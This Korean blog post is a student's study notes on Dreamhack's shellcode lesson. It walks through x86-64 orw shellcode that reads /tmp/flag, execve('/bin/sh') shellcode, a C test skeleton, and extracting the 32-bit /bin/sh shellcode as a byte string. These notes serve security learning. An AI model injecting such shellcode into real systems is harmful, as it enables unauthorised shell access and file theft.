또 뭐하지
[포너블 기초] Dreamhack System Hacking (2) - Shellcode 본문
Shellcode
익스플로잇(Exploit) : 상대 시스템을 공격하는 것
셸코드(Shellcode) : 익스플로잇을 위해 제작된 어셈블리 코드 조각. 셸코드는 어셈블리어로 구성되며 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성.
1. orw 셸코드
: 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드.
[예시] "/tmp/flag"를 읽는 셸코드
- 셸코드의 동작을 C언어 형식의 의사코드로 표현한 것
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
- 필요 syscall
syscall | rax | rdi | rsi | rdx |
read | 0x00 | fd | *buf | count |
write | 0x01 | fd | buf* | count |
open | 0x02 | *filename | flags | mode |
- c 코드 어셈블리어 구현
(1) open : int fd = open("/tmp/flag", RD_ONLY, NULL);
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi,rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
(2) read : read(fd, buf, 0x30);
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
(3) write : write(1, buf, 0x30);
mov rdi, 1
mov rax, 0x1
syscall
2. execve 셸코드
: 임의의 프로그램을 실행하는 셸코드, 이를 이용하면 서버의 셸을 획득.
syscall | rax | rdi | rsi | rdx |
execve | 0x3b | *filename | *argv | *envp |
- argv : 실행파일에 넘겨줄 인자 / envp : 환경변수
- `evecve("/bin/sh", null, null)` 어셈블리어로 작성
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
3. 셸코드 제작
- 셸코드 컴파일 및 실행
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
위 스켈레톤 코드의 `__asm__ ` 함수 안에 작성한 어셈블리어를 입력하고 `gcc -o name name.c -masm=intel` 통해 컴파일하여 실행하면 셸코드를 실행해볼 수 있다.
- 셸코드를 바이트코드(opcode)로 추출
(1) 셸코드 asm 파일 생성
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
(2) shellcode.o 파일 생성 후 objdump로 확인
$ sudo apt-get install nasm # nasm 패키지 설치
$ nasm -f elf shellcode.asm # 소스파일을 ELF 형식의 오브젝트 파일(shellcode.o)로 컴파일
$ objdump -d shellcode.o # objdump 사용하여 오브젝트 파일을 디스어셈블
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
$
(3) 실행결과에서 기계어 코드 부분을 추출해 바이트 코드 생성
$ objcopy --dump-section .text=shellcode.bin shellcode.o # .text 섹션 추출하여 저장
$ xxd shellcode.bin # 파일 내용을 헥사덤프형태로 출력
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
$
(4) 완성된 바이트 코드
# execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
[실습] shell_basic
'I.sly() > 9기 기초 - 포너블' 카테고리의 다른 글
[포너블 기초] Dreamhack System Hacking (4) - Stack Canary (0) | 2024.05.24 |
---|---|
[포너블 기초] Dreamhack System Hacking (3) - BOF (0) | 2024.05.20 |
[포너블 기초] Dreamhack System Hacking (1) (0) | 2024.04.05 |
[포너블 기초] 생활코딩 리눅스 섹션 12. 로그인 없이 로그인 하기 ssh key (0) | 2024.04.01 |
[포너블 기초] 생활코딩 리눅스 섹션 11. 인터넷을 통한 서버간 동기화 rsync (0) | 2024.04.01 |